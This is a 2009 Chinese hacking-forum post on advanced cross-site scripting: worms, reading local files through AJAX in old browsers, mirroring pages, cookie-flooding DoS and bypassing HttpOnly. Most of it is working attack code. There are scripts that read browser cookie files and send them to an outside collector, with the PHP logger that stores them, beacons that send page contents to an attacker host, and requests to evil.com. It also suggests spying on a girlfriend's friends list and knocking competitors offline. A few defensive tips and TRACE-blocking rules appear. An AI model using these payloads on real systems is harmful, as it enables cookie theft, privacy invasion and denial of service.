XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
/ ~5 X2 \) d, d$ t1 o  e
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
; b+ ^  @, y. F2 k6 oBy racle@tian6.com   
; T8 Z* S9 _: C+ @. x$ `1 xhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权

7 ~" M- ]: R- t* k# W

-------------------------------------------前言---------------------------------------------------------
' i2 x' r& ^6 b9 m) M
2 r6 \' O: {4 W
3 A4 e0 g' q+ \. M5 p本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
& a. {3 q2 `# a8 G9 ~" [* L9 nhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
: M" z0 {- s7 @3 Dhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
! \  ~+ }$ I0 z1 b5 S$ G9 y
" z9 n* O# n, |6 ]# d  h


如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
4 F, Z4 F3 ~; Y8 x3 [
* A) E- k9 b2 F. T: O( r! Q希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
3 R$ K0 E) @% g' B
7 G# K) D1 l/ t4 O% S0 G# j& yBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
! A% ^, R, e7 k: P8 e# r0 k, I( z
) t- ]+ j) G# u( N5 ^+ a$ fOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
: ?; k8 J, X9 T; T1 o$ \
..........
2 t3 S# u6 W1 U: d1 M复制代码------------------------------------------介绍-------------------------------------------------------------
8 P; }$ `4 W: j( t$ S- f5 I
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
$ _% G  C& g' l
  E) W4 ^  Q6 v; e  A( `4 n

  D0 Q: h2 U( C# X& c* h跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
) g/ A3 a. x# l( b% ], x2 U
% ?( W4 D! r& C$ F/ ^' i

4 z- q  o! _7 v9 ?& U. L% [如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
% E6 m! k$ }  C) `9 v6 d5 ~
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
! }0 P. P% k- k, d$ O5 b3 ]# _1 u, f
* O% d+ V: ^! [% R3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
, z( j, r  B+ U7 N5 r


------------------------------------------研究正题----------------------------------------------------------
+ Y; B% w: R& [) I; R: r7 C  y- y
' _$ [" s/ {; U6 l

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
. e0 m8 [# K" j! X+ O) w  z# y复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
0 }/ R9 _/ M: Z! R7 i复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
/ U7 Z  _4 g$ N2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
2 b9 u! q* v: V9 N2 T. i* J' P4:Http-only可以采用作为COOKIES保护方式之一.

9 f/ I# T0 x" S6 P& X
: S: |' c& g: B2 Y$ Z: t


(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
  ^: R3 f/ y0 p3 P) w' r
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

  |3 |. Q/ L" \
% T, g1 F) R" E6 Y/ E
! p4 R2 c) F; D2 I; ]% D7 Z, ~    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
7 u* H5 f) Y; [. p( u/ v

; w; D$ ^; p( a7 i
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
) R( f2 i' d; c! R

1 O" ^) O/ [, J
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
1 {5 U. a  _( ?: Z, c$ j* [1 F" y: @; J复制代码IE6使用ajax读取本地文件    <script>
" ^4 l5 A3 [: I6 Y$ n- j: q0 ]3 F
    function $(x){return document.getElementById(x)}


2 o2 d1 A/ v" b9 U/ @& c8 f
: L; l3 P2 v7 a5 E- _    function ajax_obj(){
7 d5 m  {* ?! A1 S5 P
    var request = false;

: |5 D2 E  C: L8 R/ l    if(window.XMLHttpRequest) {
. y7 ^# l% p* |6 }
    request = new XMLHttpRequest();
" e* L" J6 M0 M& t* L8 {1 {' h# ?4 M
. ^0 X/ I, C5 }    } else if(window.ActiveXObject) {
0 o0 h2 C% D" P
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
% [+ t! P# s( b* o' G

" j5 i& T" Y! f6 K/ a
$ n* U& C. C6 k1 ?" D3 E( ~    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
( p; u6 V7 L1 F- ?
    for(var i=0; i<versions.length; i++) {

3 ^: h+ m5 T* j7 Y# Y    try {
. x% p* q( V$ i$ \; ~/ m" @
    request = new ActiveXObject(versions);

    } catch(e) {}

) ~- [  p/ c5 x2 @1 Q    }

    }

    return request;
1 k5 y# X7 {% o3 ]# E& L) m, `
) L5 H2 v0 [$ u    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){

2 p9 m8 X4 O* }$ F5 K    _x.open(_m,action,false);
/ J% e  E+ E) X4 [+ W3 z% l
2 E/ ?' _6 D) O0 ]7 U. T  n    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
. k5 K" J9 @# g* X, u- Y9 E' e; y
    _x.send(argv);
# Y( c# k  @2 g) I3 l# I& B  I. i( a
' L8 P5 P0 y# a. t1 C0 q8 R1 u    return _x.responseText;
) E1 C: @4 @% W& n' D! h, d$ R- G
    }
) K' G) I, u" P7 g) ~6 C. S% a! S

4 Q0 @0 \; g2 a
( M0 V! o4 ?# [8 q! O; P0 u    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
0 g$ y0 t8 @: m+ q3 F4 u  n: o
! b" |3 `9 i4 j0 @
7 s/ M# i& b& R3 e4 P5 P9 B
  j5 w' {- U7 |9 e7 I# U* P. _    </script>
, b" E# {1 e, Q$ ?6 y复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

! Q7 |4 w4 t8 D# ~# u3 g2 V( H    function $(x){return document.getElementById(x)}

2 C" s  v" i+ a% _7 V9 @( [1 a
* b2 F' d9 q) A0 ?" J9 g; E
7 `- Y* A9 x1 h3 h/ Q' o! W( Y9 n' C    function ajax_obj(){

" g8 ^% |8 `. x, _+ \6 M# H1 w: q    var request = false;

6 }) p7 l6 {1 |    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
, ~% W2 }$ n9 q* f  m
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


" i& b" B# Q( `, d) b
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
+ j6 D, O% C$ I- H+ l5 Y
; r$ g, N" {: @# o$ u+ q- r    for(var i=0; i<versions.length; i++) {

( e( {- [! b. E) }8 K    try {
) _, z% y5 V- {" X9 j
" l. D: s$ a4 x    request = new ActiveXObject(versions);
8 P/ R8 c, k. ~/ }$ S
: v9 q$ @; ]" d    } catch(e) {}

    }

    }

    return request;
% w& P) J! M/ K( P3 T3 j5 j& N+ m  R
    }
" \8 [  c7 [7 E7 e% O. c4 U
    var _x = ajax_obj();
0 F' t+ c, S* V* h/ ]- `9 ^, q# F+ M3 q2 m
( J  y! O$ f! Q  Q: \0 i  }" I    function _7or3(_m,action,argv){
" g( ~1 l3 D: i. }/ i3 X3 @6 ?
    _x.open(_m,action,false);
1 W  P  c9 @: Z# E7 q: H" W" g
* c0 ^8 _9 s& R3 I( c: Z1 Z+ m1 S    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;
& Y: p* e) f4 u' I
& x& L7 o7 C# r7 c* a    }
. `* P+ K9 d, p' x/ |
3 a; q2 ~2 P0 e; L  N
$ t0 V% ~# y& O' H. ^
9 \3 v- R) j. `3 Y    var txt=_7or3("GET","1/11.txt",null);

7 E6 P/ M+ S# c! u8 Y3 `    alert(txt);
2 S' S3 j5 o; {; D" l. N( Z! P# Q
5 I- X2 i5 t5 c. B& V4 S

    </script>
2 @  Z( S6 t6 y) A7 s8 }* p5 a复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
8 {* ?, A1 s: v1 D$ E" q  I& s
* ?% Q, Y$ f) E' w3 _* \
' ~5 J  v: }- [9 b& `6 O
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
4 z* \$ P. G6 m0 }: Q! u. V* Z

' Q  S1 y4 o4 Q) j' y- Q3 A# ^
<?   
) v) t& c  H3 ~
/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
. a/ n) A6 v0 v
     www.inbreak.net   
& |. |4 Q* L) v0 r- J
     author voidloafer@gmail.com 2009-4-22   
8 a0 q. r% F. k4 l
9 ~/ |5 u7 U' l7 ?. e     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

; P; u, [6 S- R) o# L* ]*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
  Q' m9 S) C# ^) u7 F
' W. p4 k/ ?9 [! Q+ q. Iheader("Content-type: application/kxlzx");   
% q! p2 B: U8 X: D) v( b. c
/*  

) O" K2 d* H" Y1 B7 N# N' @     set header, so just download html file,and open it at local.  

*/  
2 ^7 P) B- r+ c% U% M' v& g+ u
?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
) F' |1 j+ k% L. O; S" ~
     <input id="input" name="cookie" value="" type="hidden">   
9 G  {; e4 o& y  T$ b1 t
</form>   

0 z2 |0 R" J" [/ G4 Y<script>   

function doMyAjax(user)   
& w$ r  k9 V0 s$ H3 _7 Q
{   

/ v; U# j: z0 h/ z" vvar time = Math.random();   
! F7 l2 }* h; l
/*  
$ O, v- w+ O( \- {7 W$ _+ v
% Q1 ]+ i/ X* c7 c) M/ P. `the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
; j1 O- |5 j8 F! w
, f5 l0 y( r* E3 V, I% a+ dand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
9 \: i" C( T/ K
and so on...  

- d- b2 Q1 {: d* f4 R# i. Q1 U. _0 m*/  

) S! q. Z) ~5 q6 d0 u$ x0 h. i. P" dvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
- A# p# n& m2 b; k# o
   
. H0 m! A& a: T# k5 N# }
# b; y$ p8 |5 B  }+ wstartRequest(strPer);   

2 G7 J  O' i1 ^) |

( Y& L1 f/ f; a: V) l}   

$ m3 v5 x/ g; Q: E   

function Enshellcode(txt)   

{   
7 j) b& y7 {  h$ \5 B
var url=new String(txt);   
; x" e8 e( O0 X
var i=0,l=0,k=0,curl="";   

l= url.length;   

5 d2 m( t" m$ {1 {+ pfor(;i<l;i++){   
2 W2 \, A, D% h
k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
" z$ K2 e2 J3 {( I* g
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   

}   
9 M" {& R9 H5 X/ g4 A  u+ {. E* C9 f
- i3 W& W4 o9 x   
+ z: c4 J3 H* k
, U4 H9 K* q) E" ~1 q6 H  f9 Y   

0 f. G3 y5 o) X) F! |var xmlHttp;   

function createXMLHttp(){   

: X" t9 e* y  ^     if(window.XMLHttpRequest){   
: V" b) ^+ L* W) b4 D
" a8 q* B2 b4 k% ~" K% MxmlHttp = new XMLHttpRequest();           

     }   
4 |1 X+ f3 c' ]& o4 J0 n
3 m/ m: L+ Y# F$ J' r  |) S     else if(window.ActiveXObject){   
  a4 q$ G. H$ q$ t/ Z4 d! i  a, q* a
# x  v. a* ^2 h7 T) ?  Z1 ~9 jxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
# o3 ]& \& d9 {: b( w$ o
     }   

& o) E/ r5 ^3 s2 r( G) ^1 t}   
. a; u4 r& r7 x8 Z+ A* Q0 V
5 n: @' \: T1 [   

function startRequest(doUrl){   

4 o, D/ F6 [6 ]   

( g5 V+ {7 J0 _' D  \     createXMLHttp();   
0 V' z' k2 [6 B9 M* K+ P8 c
- U& ^" z* H$ ?: u/ B

     xmlHttp.onreadystatechange = handleStateChange;   



     xmlHttp.open("GET", doUrl, true);   
* `6 h: [. n7 f( ]0 r* q( D
1 B  R  ~6 n3 |4 @/ j
. B0 M& B- ~( F2 X3 y# r6 r
     xmlHttp.send(null);   





. o! \5 {0 ~( `7 @' h7 g}   

   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

* Y6 D# H. ~3 h+ A) d) |* Y' @     var strResponse = "";   
, a7 \4 Z8 Z; L
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
2 @$ e. F. e  b: j9 f( G7 H
        
* A: Z+ B- L, F" q5 E: B. d
     }   
6 l2 q& I9 G  [
}   
. P8 |3 x* w9 v" T$ G4 ?
- ], Q3 S/ X2 G- O! K0 \# G   

- u/ g/ M+ q  d+ u* T   
/ t5 U- _7 F  j
2 `. v/ o! B3 f7 p' n8 z1 Dfunction framekxlzxPost(text)   

+ i# Z0 k( P, X2 L% S4 a7 l{   
  B, b# b3 `- [4 @6 ^
     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

% u- v; K, Z3 C}   

7 j3 N3 r! w: c- @! ?) }# l! V   

doMyAjax("administrator");   

   
7 A' C1 ~, G( ~4 d1 F
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
% n% `0 A0 |6 w4 Z" f$ i) a
% E: d+ F' q& r( Ivar xmlHttp;  
- u9 e% e8 w/ a8 M
function createXMLHttp(){  

$ {  S$ Z7 y+ U7 U     if(window.XMLHttpRequest){  
0 M4 R+ [7 P" t1 {# U
         xmlHttp = new XMLHttpRequest();         

- f. p) N5 M0 B+ T) f# @     }  

     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

}  

   

function startRequest(doUrl){  
3 h0 N! T5 l; {* Z3 h
" B/ i2 d& }8 f6 D* Q7 x1 F& b4 ~           

     createXMLHttp();  
$ A4 `* ]+ x) r- t& H: d" q# _' v$ O
  j4 U( c& r) o& ^9 p. B      

     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  
. h9 U* ?: Q" f6 C
, p7 S# ?$ ^: I8 i6 `0 I' K/ g4 L3 n      

     xmlHttp.send(null);  
; M, _9 }4 s* B' `( V' {
2 `# r  n) {0 L# a# B! ?+ b( H9 r      

      

4 |, d1 B$ B, X}   
) K. ^1 ?) P1 ^7 D0 ]: F& B
   
( O) u; g( {- W) q6 J
# e: ]) X% P' G8 P! K- @+ A' Ufunction handleStateChange(){  
& S8 \" e5 h6 A# B
/ O; n1 F, w! Q9 n4 @7 f     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

* V$ k' R, i3 M, Z* p3 D             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

7 ^1 U' I4 o* Q     }  

}  

   

function doMyAjax(user,file)  
7 }2 R# @" [. Y' R
! k" P: K6 y* j8 `2 t: {{  
, a/ s. m1 C1 L/ ~% S. X; f. B# C
         var time = Math.random();  
) G  _- K1 W3 M
# F! h9 B* n. n7 L           

$ a3 H" C# p+ {% o4 T5 z9 m         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

! d% J1 p  V' \  W9 p           

         startRequest(strPer);  
, z" L( T2 h0 t
      

# e: o7 q' z9 q- v' B2 Q+ a}  
2 S' q. P7 R  k* `$ S! N
   

' o: a# N* L0 d$ {6 f9 W' `function framekxlzxPost(text)  
* U4 a$ }2 T( @1 ]' [
, c. a/ N( `7 A' V! w% `( c2 ^2 q{  

9 A" E4 P( V& \7 z     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
8 u$ H, W# |, {
7 I, E0 C9 L* Q# ]- J; Q     alert(/ok/);  

}  
3 \/ M$ X% F& m# }+ \
   
% Q( O2 }! g0 o3 L
doMyAjax('administrator','administrator@alibaba[1].txt');  
! H8 l# `3 M6 ?  e$ q% g& M) j
% ?/ P% ?# o+ f* A   
% J+ A7 t4 W' l8 @! a+ D
: B  ^- f( L, ^: }- E6 S</script>

9 ~6 {! j! t6 F7 M( D1 h. r

/ b" s6 x: O2 ]6 r

a.php



<?php      
  J/ |* k" s+ Z. s, e
   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

- S1 q# t9 P; D5 L3 q* ~$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
3 m. g5 X- u" ~6 M7 A! R/ r$ L9 b
  
3 Z- \- D0 j/ W, j
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

  X4 r3 ]  a' ~. u# J, s( U$ ufwrite($fp,$_GET["cookie"]);      

9 H. F$ Y. M0 I6 Z" Ifclose($fp);   
( h8 C% b& ?3 F, W/ c# q9 C# T0 w
?>
* y, y2 i; E0 z/ X, O8 Y复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
/ ]$ X' |# f) p6 V- o* R; Y( Q0 X
- \0 Z0 K! ~3 p0 h' }( e代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

, \$ T- u9 t: a* ]//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

, X+ F' I8 w$ X: C& e7 X) I6 Efunction getURL(s) {
( H" {- U; M) Q4 {
* F7 U) ?! U+ _- L$ Wvar image = new Image();

image.style.width = 0;
& F+ C7 E- O5 I/ ]* b$ g. _) b2 S
/ b6 _! G6 g% r! Iimage.style.height = 0;

3 {# R" m# ], Rimage.src = s;

" D+ L! V9 |. Y5 L) a}
- L& Y( b, f% n4 m$ R9 \
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

! o% o- H, }" Z, o2 u4 ]var metastr = "AAAAAAAAAA"; // 10 A

6 y4 R3 e, ^7 Q8 ~, Y( @; u3 ~! _# Q# {var str = "";
- ^9 X+ e/ H' m' \1 |7 d
while (str.length < 4000){
+ O2 v+ G/ X, m  v- O  p
    str += metastr;
$ `9 y8 B, h& \; k2 E' z, C& J
}
6 _7 K) e7 p! L( K7 P

2 o5 Y& j& {6 \
3 V3 Y2 j: B7 Edocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

  L6 H: _0 r' V0 C' H* y详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
9 s( [1 K  H* u复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
: K  ?/ x! V, _4 M" dserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
) c" m8 ~4 Y; u" l
' {, e8 w+ K6 U1 R% E- ?, c假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
; F+ g# j; m- h
5 {* k3 x5 S0 b% i  Q8 V% P
  h- N4 {+ ~, ?/ B% ~# a


4 p2 a  e: e6 z* o. n% W3 d
5 h/ e. r/ N" `$ Y5 n+ K" P(III) Http only bypass 与 补救对策:
* W" d  S0 R  h5 x- C
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
! ^% J7 X; u3 Z( w9 P) a$ a以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

) t; T) C! w* |+ r4 C. P8 [' F<!--

, l$ E) H  G) g4 g% Jfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

: A7 j/ \% v* s6 x2 p# q+ ?9 N  {alert(document.cookie);
& g' V5 ~& N* S  n
1 n) x5 H- G; u) T4 w( F- S}



" I, Y2 ]% C6 |. j- D0 U, l; i
* T: `! J1 M9 e9 J" H7 F  x) }
function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
0 x/ g3 T, T; B! s  H& h
! d. f! g9 C# y, aalert(document.cookie);}

! s0 u" y- `7 V

//-->
% ^" F0 h- P9 p2 a9 Z0 S
3 \3 j1 E6 o( s! b8 c9 |- U6 P" r</script>
( G' A" ?0 H6 V+ d
% v. H1 r' I/ C% t) V: ?; I8 `
( N) L* y+ a8 P& c7 v6 a1 s  z
6 X0 O& D& E1 R<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
1 k% @1 B3 l9 C$ G  O复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

* l. W3 F( z5 ?) P" Q4 z; Z

var request = false;
+ o$ E0 ]) j% `( ]
% N, M" Z; C! o        if(window.XMLHttpRequest) {

4 g- p( b) ~0 D: ^+ k( J            request = new XMLHttpRequest();
! B) H- d" r. J. l* _
" W8 O% d2 `5 R2 w4 J            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

            }
1 M& Q6 P8 A2 H0 [
' I7 g* z5 L$ {* U& U! O) C% l        } else if(window.ActiveXObject) {
% O) v! K* U, ~4 {* Y& K
! H1 J7 z' Z/ E! h' n: E1 H            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
$ P! u; L0 s  F. u/ k
                try {

                    request = new ActiveXObject(versions);
8 q2 Y) m. x8 u7 e/ E5 ^, j
4 M0 N3 }$ u" q' T. l; m% q9 d                } catch(e) {}

$ E+ ]; t9 r' Z0 o            }

- A# [0 B5 f# j7 T        }

& w4 L  l, s! i+ a8 B' nxmlHttp=request;
, Z. X9 l; X3 X; z& I( u- y- S
xmlHttp.open("TRACE","http://www.vul.com",false);

! J5 i5 x( ]; Z3 C' Z# q2 yxmlHttp.send(null);
1 |+ w& x) N$ z4 Q
9 G) K4 V" m: O. W/ h. a7 Q7 L8 kxmlDoc=xmlHttp.responseText;

/ b$ @- l& i: S% m$ balert(xmlDoc);
) l, Z9 ^0 Q1 S) e1 y# }' l
. r( M. R: A, L0 G$ C. K3 j</script>
% N) y- a. g% h4 k8 k8 X复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

5 k# c1 g" X4 v) f6 _XmlHttp.open("GET","http://www.google.com",false);
3 k$ M; ]3 ]; w
2 o( _3 L* _. J% w, K. kXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
, Z4 H6 a$ V$ p6 P; S7 _
var resource=xmlHttp.responseText

2 t$ k. c) [- r. [resource.search(/cookies/);

3 f: i7 W2 o4 v7 [: n6 R- {......................

</script>

4 w4 f6 J8 m; \/ _  U  ?



如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

RewriteEngine On
4 m" e/ A% e4 i" {7 U
, O- v7 u2 x9 X+ E# wRewriteCond %{REQUEST_METHOD} ^TRACE
5 A3 }3 ]3 ~8 t
RewriteRule .* - [F]
5 y+ N5 f: r! ], X

3 |' e% e+ f# D# y- M
+ h& k" T; b( C' Y6 R1 g* ~Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
0 t) l4 U1 k; I& L5 W. \
acl TRACE method TRACE

: ]% x# }. g( r; C3 R5 T...

2 U4 d* F8 c$ L' ~8 Thttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

# I7 ]6 J4 g* D" nXmlHttp.open("GET","http://www.google.com",false);
, l8 R7 b# c! _5 g$ r
+ G, ^: {& F3 q! X: }8 d3 M9 W5 wXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

</script>
5 {2 l: O; `% v# p/ \1 [复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


, c. @7 ]) I9 G$ }
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
/ J( [3 {7 k+ E7 j1 O
<script>
